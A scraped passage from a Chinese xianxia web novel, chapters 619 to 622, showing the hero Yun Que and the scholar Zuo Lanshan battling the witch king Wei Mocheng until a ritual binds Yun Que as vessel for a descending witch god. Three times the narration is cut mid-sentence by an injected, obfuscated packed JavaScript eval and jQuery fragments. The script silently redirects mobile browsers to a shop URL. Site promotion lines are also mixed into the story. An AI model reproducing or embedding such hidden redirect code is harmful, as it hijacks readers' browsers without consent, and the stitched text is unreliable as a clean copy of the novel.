血色大脸在半空中冷漠的注视着战场无数血字起伏着玄奥的力量这股力量拥有着精纯到极致的气息宛如皓月之光烈阳之火让人不敢直视。 云缺能感受到血字大脸传来的气息这种力量云缺并不陌生曾经在大晋首辅身上见过。 浩然气!!! 你的朋友正在书荒,快去帮帮他吧 第619章 风!大风! 难怪魏墨城会后退, 巫族强者的气息完全以阴邪之力为主,面对浩然气如遇天敌。 血字巨脸的目光落在魏墨城身上,大口开合,声如洪钟。 “天地有正气,杂然赋流形!” “下则为河岳,上则为日星!” “於人曰浩然,沛乎塞苍冥!” 血字巨脸不仅喝出了洪钟般的喝声,同时吐出了一个个巨大的血字! 这些血字连成一排,直接轰向魏墨城! 魏墨城震动长袖,身前浮现出三张颜色不同的怪脸。 一为青,代表着狂风之力! 一为蓝,代表着暴雨之力! 一为金,代表着雷电之力! 三张怪脸互相融合,顿时魏墨城身周出现了狂风暴雨,雷光大作! 从云缺的视角看去, 魏墨城仿佛融入了风暴当中,或者说,魏墨城将周身丈许范围的空间,以自然之力隔绝开来,自成一方天地。 巨大的血字不断轰进风暴,最终如泥牛入海,消失无踪。 二品巫王的力量,让云缺心头骇然。 巫王之力,果然可怕! 即便遭遇天敌般的浩然气,依然可以抗衡。 云缺从未见过二品大儒与二品巫王斗法,空间震荡出的狂风,吹得他越发清醒了几分。 想帮忙,却做不到。 云缺趁着魏墨城被血字缠住,艰难的拿出一把灵丹,没力气分辨是什么丹,一口全都吃掉。 这种要命的时候,能多一点力气也是好的。 至少支撑着逃离这处鬼地方。 一边是两位二品武夫恶战,一边是二品大儒与二品巫王斗法,云缺被夹在中间。 原本云缺觉得自己是狂风恶浪中的小船,只能随波逐流,现在发现根本不是什么小船,而是条竹筏,还是破的,全是漏洞的那种。 不用狂风暴雨,多划一会儿自己就沉了。 那四个二品强者谁先死,云缺猜不到,反正能确定一点。 一直留在这里的话,云缺自己肯定先死! 好在浩然气这种东西,对云缺是无效的,反而伤势出现了好转的迹象,也不知是灵丹奏效还是浩然气的作用。 云缺觉得 有了些力气,艰难的站了起来。 浩然气与三张怪脸相互吞噬,最终各自消散。 魏墨城的气息变得虚弱很多,来自大儒的浩然气,让他这位巫王受到了重创。 左兰山的血字面孔也暗淡了不少,明显后力不足。 哎…… 一声轻叹从血字面孔中传出,听得出大秦丞相的不甘之意。 但是没办法。 左兰山被钉死在石柱上,失去本体,他无法施展出浩然气的全部威能。 魏墨城冷笑道: “当世大儒,不过如此。” 一句不过如此,彻底激怒了左兰山。 血字面孔发出一声怒吼,随后碎裂开来,无数血字在瞬间融合到一起,组成了一柄血红的长剑! 浩然剑! 长剑散发着冲天的灵气,没去斩向魏墨城,而是落在了云缺手里。 “持我浩然剑,斩你仇家!” 剑体上传来左兰山的声音。 云缺这会儿正准备往擂台外面跳呢,姿势都摆好了,一听这话差点骂娘。 战三品就是极限了,让我砍二品,你这老匹夫是嫌我死得不够快啊…… 云缺没跳。 转回身,将长剑指向魏墨城。 在逃跑与复仇之间,云缺自然会选择后者。 既然有了大儒之力,又岂能错过这次复仇的机会! 握住浩然剑那一刻,云缺只觉得神智清明,之前的浑浑噩噩一扫而空! 魏墨城冷笑道:“没用的,妖血武夫,用不成浩然之剑。” “你可以试试看!”云缺冷笑着持剑而斩! 魏墨城并不认为云缺能发挥出浩然剑的威能,运转巫法幻化出一柄漆黑长剑,轻描淡写的与浩然剑抗衡。 云缺拼命挥剑,魏墨城随意抵挡,看似双方存在着巨大察觉,可渐渐的,魏墨城的神色变了。 他的黑剑越来越小,很快被切成了几段! 云缺的力量的确不足以抗衡二品巫王,但是现在云缺相当于手里拿着一位二品大儒在战斗。 不仅能动用浩然剑的全力,反而浩然气的威能越来越强! 魏墨城之所以认为云缺用不了浩然剑,因为云缺是武夫,武夫想要运用儒家的至 宝,根本不可能。 因为需要文气。 武夫可没有什么文气可言。 但是文气这种力量,反而是云缺最不缺的东西,可以说无穷无尽! 现在云缺的战力已经不能用自身境界来衡量,以无穷文气催动的浩然剑,比起左兰山自己动用时候的威力还要强大。 浩然剑的威能,终于令魏墨城不得不动用全力,他接连甩出三样巫族至宝,又先后被浩然剑斩成碎片。 最后不得已,用出强大的巫术,召来一群巨大的黑蝠。 云缺浑然不惧,越战越勇,并且畅快不已。 就仿佛浩然剑是自己的另一把妖刀,施展起来极为顺手。 对魏墨城的恨意,云缺已经达到了极致。 同样的, 左兰山也对星辰殿的恨意达到了巅峰,不惜将此生的全部力量统统借给云缺。 看似云缺一人在战斗,实际是与一位当世大儒联手! 浩然剑的劈斩之下,黑蝠不断掉落,最终云缺一剑砍中了魏墨城的本体。 融化般的水气在魏墨城身上出现。 这位曾经大燕的监正,发出一声痛苦的闷哼。 随后魏墨城的紫袍鼓荡开来,双眼转为漆黑,口鼻中涌出大量黑气,组成了一尊巫神之影! 魏墨城此刻的巫王之力攀升到极致,抬手朝着云缺砸下,那尊巫神之影也做出同样的动作。 云缺双眸如血,挥剑而上,大骂道: “去你吗的魏墨城! 咔!!!!!!!!! 浩然剑与巫神之影轰击在一起,炸起了漫天黑芒。 云缺只觉得一股恐怖的气息迎面而来,几乎再次昏厥,若没有浩然剑,云缺估计自己早已粉身碎骨。 强撑着抗住了反噬,云缺抬头看去。 那巫神之影竟变得暗淡模糊,即将碎裂,而魏墨城的心口,多出了一节戒尺。 戒尺并非实质,而是由强大的法力幻化,尾端是一只苍老的大手。 这只大手的主人,正是本该濒死的大秦丞相,左兰山! 左兰山站在魏墨城身后,满脸焦糊,气息微弱,却咬牙切齿的吼出二字: “春秋! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616881|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大儒经再次被左兰山施展,最强的春 秋戒尺不仅贯穿了魏墨城还暴起了万丈霞光! 魏墨城痛苦的嘶吼起来头顶的巫神之影随着崩塌。 左兰山与其他大儒最大的不同就是他的不计手段。 偷袭这种事其他大儒肯定做不出来但左兰山不在乎。 之前被偷袭的大秦丞相 机会难得云缺岂能错过! “吕青说让我来砍死你这狗东西!” 浩然剑狂斩而下! 咔咔咔咔咔咔!!!! 魏墨城被砍了上百剑浑身鲜血淋漓。 巫王之力再次爆发挣脱了戒尺与浩然剑。 退到石柱边缘魏墨城披头散发目光阴森的盯着左兰山道: “你居然没死透!” 左兰山看似狼狈不堪气息却十足怒喝道: “移心之法老夫也算精通今日老夫不死巫王必将陨落!” 云缺听罢恍然大悟。 难怪左兰山能坚持到现在原来在最初被辰龙偷袭的瞬间左兰山将心脏挪到了右边否则即便是二品大儒也早就死于非命。 魏墨城吐了口黑血冷笑道: “想杀我可没那么容易看看你的皇帝他会死在我前面。” 左兰山与云缺齐齐抬头。 秦皇与辰龙的战场已经不在石柱上而是打到了半空! 两人看似势均力敌实际上秦皇始终被妖血武夫的力量所压制天子剑每一次劈斩都会被辰龙的黑刀崩开。 魏墨城有两个对手秦皇也一样面对着两名对手。 如果秦皇败了即便云缺与左兰山杀掉魏墨城还要面对辰龙那个恐怖的强敌。 所以秦皇不能败! 云缺突然朝着下方的无数少年吼道: “少年城为大秦之地!少年为大秦之少年!大秦帝王在为你们殊死而战诸位!何不擂鼓助威!” 一句擂鼓助威惊醒了无数少年。 秦皇不仅要救皇子也的确在为满城少年而战虽然没有战鼓但是满城少年的内心开始渐渐接受了这位帝王。 有人发出沙哑而悲壮的悲鸣。 “风!” 有人虚弱而愤怒的嘶吼。 “ 大风!!! 很快,少年城内响起了整齐的吼声,震天动地。 “风! “大风!!! 两个字而已,那是秦军冲向战场时的怒吼,亦如战鼓! 随着少年们的吼声,秦皇的战力开始奇迹般的增强。 别人都以为是助威声有效,燃起了秦皇的战意,只有云缺知道,增强秦皇战力的不是助威,而是认同。 无数少年们,开始认同了少年城本该是大秦的一部分。 少年城若归为大秦之地,那么秦皇即可动用出真正的一品战力! 魏墨城苍白的脸色变得愈发难看起来。 云缺与左兰山则即将再次进攻。 今天,云缺要替吕青,替斩妖司死去的家人们复仇! 魏墨城忽然展开双臂,从其袖子里掉落两张更加漆黑的怪脸,随后魏墨城用两只大手将怪脸按在地面,冷语道: “巫王之力,逆空之法! 两只怪脸发出痛苦嘶吼,齐齐融化成一滩黑水。 嗡鸣声中,黑水边缘出现了一圈银色光环,两道身穿紫袍的身影在水面上浮现而出! 第620章 来啊,再战! 当两道身影出现黑水随之干枯。 一男一女。 男的头戴兜帽袖口上绣着寅字。 女子没戴兜帽容貌绝美中透着一种冷冽之感袖口绣着卯字。 看到出现在石柱上的两人云缺的心头猛地一沉。 那女子云缺太熟悉了正是穹音! 穹音的尸体被大渊诡物占据对方自称勾玉。 另一个无需看到容貌必定是房家老祖无疑! 寅虎卯兔出现在少年城内。 “好大的阵仗啊 勾玉的语气带着不满之意。 寅虎则发出一声冷哼并未开口。 “出现点意外请二位前来援手你们不肯帮忙也可以到时候殿主怪罪下来你们自己承担。”魏墨城一边吐着黑血一边发出虚弱的声音。 勾玉尖酸的道:“看来巫王也不过是个废物而已你们的任务完不成找我们来帮忙我们有什么好处呢。” 魏墨城冷语道:“好处就是殿主不把你抓回大渊。” 勾玉不屑的神色为之一变道:“你敢威胁我?” 魏墨城冷声道:“不是威胁而是陈述事实罢了少年城若是失败你应该知道后果。” 勾玉冷哼一声将目光转向对面。 “二品大儒可不好对付剩下个金身也能称之为对手巫王还真是饭桶……咦?是你啊。” 勾玉认出了云缺脸上浮现出奇怪的笑容道:“小家伙你居然能站在这里实在勇气可嘉我知道你很想要这具身体不如你来求求我我可以考虑考虑让你与这具身体亲热亲热咯咯咯!” 云缺眼中的血色更浓了几分冷声道: “你的勇气更不小胆敢夺我亡妻之身!这次正好咱们大家一起把旧账都算清!” 浩然剑在云缺手里爆发出汹涌的文气并且形态在随之改变从剑形变成了刀状! 用剑确实不太顺手用刀就舒服多了。 夺走穹音尸体的怪物加上害死斩妖司所有人的魏墨城两个仇家的现身让云缺几乎狂暴! 内心的杀意再也无法压制。 云缺只想杀个痛快哪怕战死于此也毫无怨言! 感受到云缺沸腾的杀意月魁的力量再次涌现而来云缺身上的气息变得复杂而狂躁。 文气妖气煞气血气! 几种本该互相克制的气息却奇异般融合在一起组成了冲天的杀气! 左兰山则冷静得多。 面对多出的两位强敌左兰山的目光中带着深深的忌惮尤其对寅虎。 盯着寅虎左兰山冷声道: “没想到星辰殿的势力如此之大连房家老祖也是人家的打手哼房三老伙计!你太让我失望了!” 寅虎叹了口气缓缓摘下兜帽果然是房家老祖房三。 “良禽择木而栖天下终归要易主的。”房三叹息道:“左兰山你我相识一场若你肯低头我可以向殿主求情留你一命。” “良禽折木而栖……呵呵呵呵。”左兰山大笑起来吐出一口血沫子直接开骂:“我栖你老母!” 身为当世大儒岂能低头! 云缺本以为左兰山要拼命出手不料这位丞相拿出了一张奇特的符箓。 儒家也用符? 云缺正奇怪之际只见左兰山将符箓往脚下一摔。 一股浓烟炸开伴着光晕闪烁。 这种烟雾在云缺开来就是开溜的信号啊! 左兰山要是逃了剩下云缺自己可对付不了寅虎卯兔非得被人家打死不可。 这位大秦丞相没逃而是也动用了与魏墨城同样的手段叫人了! 烟雾中心多出个小老头正双手拎着裤子腰带还没来得及系上。 正是大秦太尉龙桃! 龙桃跳着脚大骂: “左兰山你他娘有病啊!老子正拉屎呢!你手里的那张传送符这辈子只能用一次没了就是没了!再想找我帮忙下辈子吧!” 龙桃边骂边系腰带堂堂大秦太尉当着这么多人提裤子何其丢人。 左兰山沉着脸指了指半空的战场。 龙桃抬头一看 系好了腰带龙桃开始活动手腕将拳头捏得嘎吱吱作响寒声道: “左老头你说需要爷爷我 打几个!” 皇帝亲自征战,身为太尉,自然要亡命相随,不管多少敌人,龙桃也不可能后退半步。 这是身份武夫的傲气! “你挑一个即可。”左兰山冷声道。 龙桃嘿嘿冷笑,将目光落在房三身上,道: “呦,这不是房家的奸商吗,你在别的地方收刮钱财我们管不到,既然到了大秦地界,你休想赚走一文钱!命,留这儿吧!” 房三道:“久闻大秦太尉之名,今日有幸交手,分个高低也好,老夫的钱太多了,不如,送你点,买一副上佳的棺椁。” “一副棺材怎么够!你这云州首富也忒小气,怎么也得来上几百个,爷爷我换着睡!” 龙桃往旁边一指,怪笑道:“来来来,咱们出去打,这里地方太小,爷爷施展不开,我人多啊哈哈!” 房三脚下一动,身形瞬间出现在石柱外侧的半空,浮空而立,身边出现八件形态各异的法宝,全部散发着浓郁的灵气波动。 龙桃也动了。 像个猴子似的跃到半空。 跃起的时候是一道身影,当落地则是千个龙桃! “影军之法!” 龙桃低吼着直接出手。 千道影身,组成了大军般的攻势,将房家老祖团团困住,杀得混乱至极。 左兰山则将目光落在勾玉身上,冷哼道: “死物,也敢来大秦放肆!” 勾玉撇嘴一笑,道: “这么瞧不起死物,等你死了,还不与我一样,老东西,留点口德的好。” 左兰山怒喝道:“老夫的口德就算留给一条野狗,也不会留给你这等邪祟之物!大儒经!” 一个个古朴的字迹奔涌而出,化作漫天经文,轰鸣着冲向勾玉。 勾玉咯咯一笑,身形瞬间挪移到石柱之外,挥手间掀起了无边火海! 两人的身影随之淹没在烈焰与经文当中。 丞相左兰山对战卯兔勾玉,太尉龙桃对战寅虎房三,两处战团均都远离了石柱,在半空死斗。 石柱顶端,只剩下云缺与重伤的魏墨城。 云缺看了看脚下冷冰冰的石柱。 蔓延而上的血色,已经接近石柱顶端,还差两三丈而已,用不了多久,血丹 就会彻底成型。 秦皇虽然战力拔生也只能与辰龙斗得不相上下两人动用的均为二品巅峰之力。 没人能突破到一品程度。 远古大阵的存在将少年城与大秦彻底隔绝开来尽管满城少年已经承认了秦皇但少年城这方城池却始终不属于大秦之地。 敌人一个也没死反而越来越多。 云缺忽然笑了。 笑得洒然至极。 仿佛这里不是生死相搏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616882|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的战场而是一处世外桃源一处能战死的最佳墓地! “国破家亡之仇不得不报……监正大人可否准备好葬身于此。” 云缺右手握着浩然刀左手里浮现出黑色的妖刀。 两把刀同时指向魏墨城! 魏墨城的嘴角始终在流着黑血大儒经的春秋之力化作无数字迹密密麻麻爬满他全身。 这位前朝监正此刻狼狈不堪彻底被重创。 即便如此云缺知道魏墨城仍旧不容小觑左兰山已经与勾玉在拼命手里的这把浩然刀能坚持多久不得而知。 没了浩然气云缺便失去了最大的依仗。 魏墨城抹了抹嘴角的黑血道: “看来你非得要我这条命才肯善罢甘休不过你做不到。” 魏墨城说罢石柱两侧爬上来两个身影。 朱幺与欺风犬! 朱幺的肚子上凹陷一大块能看得出是个脚印形状他被秦皇一脚差点踹个半死此时是重伤状态。 欺风犬更惨只剩三条腿下巴缺了一大块额头的第三只眼也瞎了 重伤的三品归真残废的三阶妖王加上魏墨城如此实力别说一位完美金身即便来个三品也未必是对手。 云缺毫无惧色双刀一分笑道: “杀猪屠狗而已这活儿我最拿手!” 魏墨城有朱幺和欺风犬做帮手云缺也动用了不属于自己的力量。 再次妖化! 这次与之前不同云缺只妖化了半个身体。 右侧是人身左侧如妖兽! 右手人身握着浩然刀左侧妖爪握着漆黑妖刀! 如此状态宛若神魔! “影身之法! 随着云缺的冷喝,影身动用,十道云缺的身形相继出现,各持双刀冲杀而去。 在场的恶战,只能以惨烈来形容。 欺风犬被砍断了第二只狗爪,朱幺被斩断了长长的猪鼻子,魏墨城身上被浩然刀接连斩出大小不一的伤口。 而云缺,则在恶战中崩裂着影身,毁坏着本体。 直至那具一往无前的身影,残破到几乎只剩一身白骨! 半空中的四处战团,每一处都惊险无比,声势惊人。 可唯独石柱擂台上的战场,最为惊心动魄。 下方的所有少年们,齐齐仰着头,瞠目结舌,甚至一时间忘记了流逝的气血。 少年王,战至白骨! 无数双少年的眼睛,流下了清泪。 他们终于知道了何为战意! 云缺此时的模样,的确是战死当场的状态,但是眼瞳中的猩红,宛如两团不灭的妖火,燃烧不休。 那火苗虽然渺小,最终必将燎原! 冥冥中,有姐弟在低语。 “姐,再借一条命。 “拿去拿去!我的命全给你,我们一起,杀了这群狗东西! 嗡…… 刀刃的低鸣,在白骨手掌中炸起。 一片血光蔓延而起。 血肉再生! 生机迸溅! 一身黑衣裹住了那血肉滋生的恐怖身影。 五品境界的气息在疯狂拔生,于生死之间,于恶战之中,冲击到四品! 破军,大成! 当血肉蔓延到脖子的时候,骷髅般的云缺转动头颅,发出森冷低笑: “不杀光你们这群狗贼,我实在死不瞑目!来啊……再战!!! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第621章 五百人中第一仙 第二次复生天赋的动用,让月魁彻底变得虚弱。 妖力大不如前。 但月魁仍旧支撑着施展全力,协助云缺面对强敌。 欺风犬跌跌撞撞的往后退去。 这头三阶妖王,终于怕了! 朱幺骂骂咧咧往后退去。 他这个三品归真,一样也怕了! 稳如泰山的魏墨城,神色终于变得阴晴不定。 再次复生的云缺,不仅之前的伤势一扫而空,恢复到巅峰状态,其本体的气息居然也在疯狂拔升,从五品金身,直接跨入了四品破军! 破而后立,方可达成破军之境。 战死而生,正契合了破军之意。 宛如水到渠成,云缺踏入了四品境界! 五品完美金身加上妖力,即可打得朱幺满地找牙,现在不仅恢复到全盛状态,还踏入四品破军,云缺的战力不是最可怕的。 这份恐怖的成长速度,才是最让敌人胆寒的所在! “百影身!” 云缺一声断喝,百道影身同时出现,犹如大军般开始冲杀。 这下对面的三人扛不住了。 欺风犬被砍得血肉模糊惨嚎不断,朱幺浑身肥肉片片飞起,从一个胖子硬生生被砍成了瘦子! 魏墨城挨的刀更多,紫袍碎裂,浑身往外冒黑血。 四品破军的妖武者,在妖化之际,所发挥的战力足以斩杀三品强敌! 朱幺与欺风犬被斩得奄奄一息,再无还手之力,魏墨城拼命施展出巫法之力才能勉强抵挡。 在打破数十个影身之后,魏墨城忽然听到身后传来云缺的森森冷语。 “下地狱吧!监正大人!” 以影步挪移的云缺,将右手,按在了魏墨城后心。 下一刻轰鸣大作!! 最后一道佛手印,被云缺直接拍进了魏墨城的本体! 魏墨城的身上被震出了无数亡魂,成千上万! 纷纷哀嚎着四散奔逃,又在佛印的击杀下灰飞烟灭。 魏墨城彻底被重创,摔在石柱一侧,气息奄奄。 手持双刀的云缺仰天长啸,战意沸腾! 杀伐,才是妖武者最为喜欢的东西,杀尽天下妖邪才叫痛快! 少年 王的长啸,点燃了满城少年的战意,这一刻,中心石柱上的血色居然停止了蔓延,血丹再也无法吸收半丝气血。 少年们沸腾的战意,抗衡着大阵的掠夺。 石柱上,云缺举起了浩然刀,伴着一句句轻吟,一刀斩下! ‘五百人中第一仙,等闲平步上青天!’ ‘龙作马,玉为鞭,花如罗绮柳如绵!’ ‘时人莫讶登科早,自是嫦娥爱少年!’ 这一刀,拦腰而斩,几乎将魏墨城劈为两半! 这一刀,是云缺的复仇之刀,等待了太久,早已忍无可忍! 这一刀,是城中所有少年的一刀,集天下少年之战意,斩二品强敌! 轰鸣的刀光过后,浩然气被尽数耗尽,刀体消失。 魏墨城几乎折断的身体,倒在血泊当中,没有一滴鲜红,完全是漆黑的冷血。 即便是二品巫王,也扛不住如此重击,天敌般的浩然气令魏墨城到了濒死的地步。 一侧的朱幺吓得浑身颤抖,满眼惊恐,欺风犬则不断痛苦的哀嚎,做那催死挣扎。 破军境的云缺,展现出了堪称恐怖的战力,地面上炸起了震天的呼喝。 少年们,都在为他们的王者而助威。 另外三处战场,局面而异。 秦皇与辰龙始终战得难分高下,两人的打斗将四周空间震荡出无数波纹,远远看去仿佛要破碎虚空。 左兰山与勾玉完全以法术对轰,二者之间势均力敌。 尽管动用了移心之法,避开了心脉碎裂的危机,但左兰山确实被重创,难以恢复到巅峰程度,又将身上大量的浩然气借给云缺,他自己少了一份底牌。 其实左兰山现在只能发挥出一半战力,遇到同阶必败无疑,所幸儒家的力量最为克制邪祟,大儒经的笼罩之下,来自大渊的勾玉受到了极大的压制,所以两人才能勉强战个平手。 龙桃与房三的战场则完全是一边倒。 大秦太尉的战力无比恐怖,哪怕房家老祖接连动用上百件异宝,仍旧难以抗衡,只要被龙桃近身,就是一顿爆锤,把房家老祖打得吐血不止,最后不得已四处逃窜。 可逃还逃不掉, 因为龙桃的影军数量太多,完全是车轮战,这种法门谁都受不 了,即便星辰殿的寅虎也一样扛不住。 马至远与福老看到了机会,两人互相看了一眼,同时施展出最强的法门攻向勾玉。 马至远也是儒家修为,直接以本命文气凝炼出仁者剑,福老动用的是至刚至阳的天雷法门。 有两位四品相助,左兰山拼了老命再次动用浩然剑。 这下勾玉扛不住了,浑身死气不断被削弱,败北只是时间问题。 随着大阵停止了吸取气息,秦皇的天子剑变得威力更强,辰龙身上开始出现伤口。 满城少年们终于看到了希望! 胜利的希望! “我还有力气!我们去帮忙!” “我也有点灵力,能施展一道法术!” “我、我不行了,但我能把刀扔出去!” 少年们以最后的力量,汇聚法术,积攒力气,想要尽自己最后的一份战力。 哪怕吐口痰,大骂一句也是好的。 局面,在人们看来终于被逆转,死地般的少年城就此沸腾起来。 头顶忽然传来一道闷响,天子剑的劈斩之下,辰龙被重创,炮弹般砸向地面。 少年们纷纷躲避,让出一大片空地。 轰隆一声,地面出现一个百丈方圆的大坑。 秦皇踏空而立,冷漠的双眸死死盯着大坑里的强敌。 勾玉被儒家法术压制得接连后退,她忽然尖叫道: “差不多行了!巳蛇你还在等什么!” 尖叫声无比刺耳,炸起在半空。 云缺提刀走向魏墨城的脚步就此一顿。 这一刻,云缺脑海里出现一道惊雷。 棋局,还没完! 魏墨城拖着残躯艰难的爬了起来,嘴角挂着一抹古怪的笑意,低语道: “是啊,差不多了,最后一步棋,也该落子了……” 说话间,魏墨城伸展开双臂,手心朝天,吟诵出晦涩的咒言。 轰隆隆…… 地面开始颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628244|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 少年城残破的城墙,相继坍塌,沙土飞溅中,现出了一个又一个高大的身影,犹如连在一起的山峦! 那些高大的身影头生双角,身躯是坚固的岩石,山洞般的眼窝里相继亮起了惨白的光芒! 看到城墙里的东西云缺的心头再次一沉。 这些的高大的身影云缺太熟悉了竟是山岳力士! 成千上万的山岳力士! 朱幺此刻嘎嘎怪笑道: “终于结束了老子当年把这些大块头埋进城墙足足用了三年时间!哈哈!惊喜吧少年王!” 被唤醒的山岳力士为少年城带来的新的危机。 这些怪物都有四阶妖兽的力量足有上万之多即便在场的秦皇丞相与太尉也不得不避其锋芒。 车轮战的后果谁都清楚尤其是这种气机与法力即将耗尽的时候。 云缺沉沉的呼出一口气。 不管今天出现多少山岳力士云缺的目标只有一个那就是杀掉魏墨城! 地面的大坑里辰龙一步跃了出来。 他出现的位置正好是商福与商暮身后两人尚未察觉到来自身后的危机就被辰龙一人一掌拍中。 商福与商暮连吭都没吭一声直接被拍飞出城外不知生死。 见辰龙拿城中少年泄愤秦皇冷声道: “阴邪之辈何其无耻想战便来与朕战!” 龙桃一脚踢在房三脸上落地后冷笑道: “巫族大军有点意思!小贼们别着急我们虎贲军的精锐正在赶来的路上这会儿差不多快到了!” 大秦之地秦军无数对于巫族的山岳力士龙桃与秦皇几人虽然忌惮却并不惧怕。 左兰山更是扬手打出一道法术在高空炸起一条龙形白光。 那是召集玄龙军的讯号。 大阵停止左兰山自然要调集人马。 等到虎贲军的精锐与玄龙军抵达城里的山岳力士再多也会被逐渐消灭。 毕竟这里是大秦是秦皇的地盘。 然而云缺的心里却没来由的发冷。 不对…… 不对! 这盘棋的最后一步不应该是动用山岳力士。 少年丹尚未成型而大阵停止本就有古怪魏墨城动用了山岳力士更不对劲。 因为星辰殿一方败局已定靠着这些山岳力士难以扭转乾坤。 上万的山岳力士可以摧毁少年城可以杀光满城少年修士甚至踏平大量城池可绝对撼不动大秦在云缺的地位。 这些山岳力士不足以摧毁大秦那么星辰殿最后这步棋的用意到底是什么? 云缺在疑惑之间听到魏墨城依旧在吟唱着晦涩的咒言。 四周的山岳力士没有进攻而是齐齐举起了巨大的手掌手心朝天仿佛在恭迎着什么。 云缺忽然觉得手心里出现一股凉气冰寒透骨! 抬起左手一看一块小小的石碑正从手心里冒了出来! 轰!!! 石碑瞬间变化成三丈大小伫立在云缺面前其上散发着来自远古的冰冷气息。 巫神碑出世! 这一刻 原来少年城并非为秦皇所准备的埋骨地而是了为了迎接巫神所打造的祭坛! 这盘棋从头到尾只为了一个人…… 那就是云缺自己! 第622章 巫神降临 当巫神碑出现,云缺彻底明悟了前因后果。 所有的线索串联在一起,得出了一个令人心惊的答案。 少年城,是巫神的降临之地! 巨大的危机到来,云缺想都没想,转身就逃。 可是刚转身,对面,是一袭紫袍,兜帽内闪烁着冰冷的星辰。 辰龙! 云缺挥刀而斩,对方的速度更快,一把抓住云缺的左手。 哗啦啦!!! 铁锁响动! 云缺缠在左手的铁链被开启,瞬息间化作长龙般的锁链,将云缺与巫神碑死死缠在了一起。 铁锁无限在延长,犹如一条铁铸的长龙,从石柱上腾空而起,穿过了所有的山岳力士,形成四面更加坚固的城墙,锁死了整个少年城! 云缺想要挣扎,却发现自己与本体失去了联系,只能恶狠狠盯着面前的辰龙,满目怒火。 局面,再一次失控。 左兰山惊疑不定的低语道:“那是……巫神碑!” 龙桃收起了影军,惊讶道:“这种邪恶的东西怎么会出现在这里!难道他们要召唤巫神!” 左兰山沉声道:“不!不是召唤,而是巫神降临!” 龙桃大惊道:“往哪降临?该不会是驸马身上!” 龙桃说完,神色骤变。 若是巫神当真降临,别说在场的这些人,整个大秦都会沦为死地。 那可是超品强者! 即便只动用一小部分力量,足以将他们这些二品斩尽杀绝! 半空的秦皇最先出手,天子剑劈斩而下,斩向巫神碑。 结果在距离巫神碑还有一丈的距离,天子剑就再难落下半分,被一股远古的气息所阻拦在外。 石柱顶端,成为了祭坛,连秦皇也无法突破。 左兰山与龙桃各自出手,轰向巫神碑,但所有攻势全部无效。 “呵,呵呵呵呵……” 辰龙发出让云缺觉得熟悉的低笑,兜帽里的星辰愈发明亮,犹如一只只眼睛,望着石碑上的容器。 云缺已经说不出话来,连月魁都无法沟通,仿佛整个人被剥离在天地之外,没有任何力量可言,只能静静的等待着未知的命运。 地面上,一众云缺的友人惊恐不 已。 大家都想出力帮云缺脱困,鸿影甚至不顾死活的想要爬上石柱,可最终无论鸿影还是白誉,都无法接近到石柱的百丈之内。 高高的石柱之上,魏墨城扬手朝天,不断念着咒言,他浑身冒出的大量黑气犹如巨大的披风,在空中扭曲摆动。 朱幺一瘸一拐的来到石碑近前,指着云缺大骂: “哈哈哈!没想到吧!这局,完全是给你一个人做的呀笨蛋!一次少年擂从六品直接冲进四品,你他娘的真牛笔!来来来再牛一个让老子瞧瞧!这次我看你怎么死!嘎嘎!” 朱幺发出得意而猖狂的大笑,欺风犬也爬到近前发出嘶吼,这一人一妖对云缺最为记恨,恨不得云缺立刻被巫神占据惨死当场。 石柱上突然暴起一片血光! 辰龙突然下手,一手一个,掐住了朱幺和欺风犬的脖子! 朱幺手刨脚蹬,拼命吼道: “干什么!辰龙你疯了吗!放开我!” 嗷呜嗷呜,欺风犬发出痛苦的哀嚎。 在辰龙手里,三品归真与三阶妖王如同猫狗般,根本无力挣脱。 辰龙金铁摩擦的声音响起: “大局已定,还差祭品,二位,任务辛苦了,你们完成得很好,接下来,你们会成为祭品。” 朱幺惊恐嘶吼: “不!你不能杀我!我是亥猪啊!你有没有良心!我在少年城蛰伏十几年,我……” 不等朱幺说完,血光暴起! 辰龙直接掐碎了朱幺与欺风犬的脖子! 一颗人头,一颗狗头,悬浮在石碑两侧,无头的尸体喷涌着鲜血,好似两根墓碑前的蜡烛。 云缺没死,先死的,居然是朱幺与欺风犬! 魏墨城仰头大呼: “魂兮,归来!” 朱幺与欺风犬的鲜血,加上头顶的那颗血丹,此时尽数涌向石碑! 三品归真与三阶妖王为祭品,满城少年汇聚出的血丹为血引,云缺作为容器,远古仪式的所需条件彻底达成。 下一步,便是巫神降临! 云缺终于明悟。 万妖国前来的妖兽,并非攻城而来,而是星辰殿怕人族气血不够,特意调集来大量妖兽,无论修士之血还是妖兽之血,都是巫神降临的 关键之物。 